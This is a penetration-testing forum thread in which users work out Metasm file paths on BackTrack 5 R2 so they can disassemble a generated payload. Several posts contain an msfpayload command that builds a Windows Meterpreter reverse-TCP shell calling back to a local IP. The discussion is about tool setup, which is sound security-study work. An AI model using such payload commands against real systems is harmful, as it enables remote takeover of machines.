Results 1 to 4 of 4

Thread: Metasm on BT5R2

  1. #1
    Just burned his ISO
    Join Date
    Jun 2012
    Posts
    2

    Default Metasm on BT5R2

    Hi all ,

    Can somebody help me with the paths for metasm on bt5r2? I have the following commands from a tutorial but the paths are wrong .

    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary (fine)

    below are now wrong on bt5r2

    cd ~/tools/metasploit/lib/metasm
    cp -a metasm.rb metasm /opt/local/lib/ruby1.9/site_ruby/1.9.1

    i have looked through and found these to be correct( correct me if im wrong)

    cp -a metasm.rb metasm /opt/metasploit/ruby/lib/ruby/site_ruby/1.9.1 (copies the metasm.rb and metasm folder) works!!!

    ruby /opt/metasploit/msf3/lib/samples/disassemble.rb raw_binary > asm_code. (doesnt work)

    any ideas ? is there any tuts on metasm for bt5R2? they all seem to be on bt5 with old msf paths.

  2. #2
    Member ColForbin's Avatar
    Join Date
    Jan 2010
    Posts
    93

    Default Re: Metasm on BT5R2

    Hi DGConsultingUK,

    Here are my notes for metasm:

    Code:
    # msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R > testasm
    # cd /opt/metasploit/msf3/lib/metasm
    # cp -a metasm.rb  metasm /usr/local/lib/site_ruby/1.9.2/
    # cd samples
    # ruby disassemble.rb /root/Desktop/testasm > /root/Desktop/testasm.asm
    "Whatever happened to playing a hunch, Scully? The element of surprise, random acts of unpredictability? If we fail to anticipate the unforeseen or expect the unexpected in a universe of infinite possibilities, we may find ourselves at the mercy of anyone or anything that cannot be programmed, categorized or easily referenced."

  3. #3
    Good friend of the forums zimmaro's Avatar
    Join Date
    Mar 2010
    Location
    milano
    Posts
    407

    Default Re: Metasm on BT5R2

    Quote Originally Posted by DGConsultingUK View Post
    Hi all ,

    Can somebody help me with the paths for metasm on bt5r2? I have the following commands from a tutorial but the paths are wrong .

    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary (fine)

    below are now wrong on bt5r2

    cd ~/tools/metasploit/lib/metasm
    cp -a metasm.rb metasm /opt/local/lib/ruby1.9/site_ruby/1.9.1

    i have looked through and found these to be correct( correct me if im wrong)

    cp -a metasm.rb metasm /opt/metasploit/ruby/lib/ruby/site_ruby/1.9.1 (copies the metasm.rb and metasm folder) works!!!

    ruby /opt/metasploit/msf3/lib/samples/disassemble.rb raw_binary > asm_code. (doesnt work)

    any ideas ? is there any tuts on metasm for bt5R2? they all seem to be on bt5 with old msf paths.

    Hi,
    http://www.backtrack-linux.org/forum...ad.php?t=48077 && http://vimeo.com/37071571
    if this can help you!!!!!!
    bye

  4. #4
    Senior Member
    Join Date
    Jan 2010
    Posts
    173

    Default Re: Metasm on BT5R2

    Thanks for the replies, but solved it after waiting 3 days for the post to go up lol...

    Kind Regards.

Similar Threads

  1. WEP breaking with BT5R2
    By KouDy in forum BackTrack 5 General Topics
    Replies: 0
    Last Post: 06-07-2012, 05:26 AM
  2. startx automatically in BT5R2-KDE-64
    By picu68 in forum BackTrack 5 Beginners Section
    Replies: 0
    Last Post: 03-17-2012, 04:51 PM
  3. AzureWave AW-NU103 on BT5R2
    By DjDvr in forum BackTrack 5 Beginners Section
    Replies: 0
    Last Post: 03-11-2012, 12:24 PM
  4. xdmcp enabling on BT5R2
    By eltiburon in forum BackTrack 5 Beginners Section
    Replies: 0
    Last Post: 03-10-2012, 02:52 PM
  5. Chipsets+BT5R2
    By N3misis in forum BackTrack 5 Beginners Section
    Replies: 0
    Last Post: 03-09-2012, 08:03 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •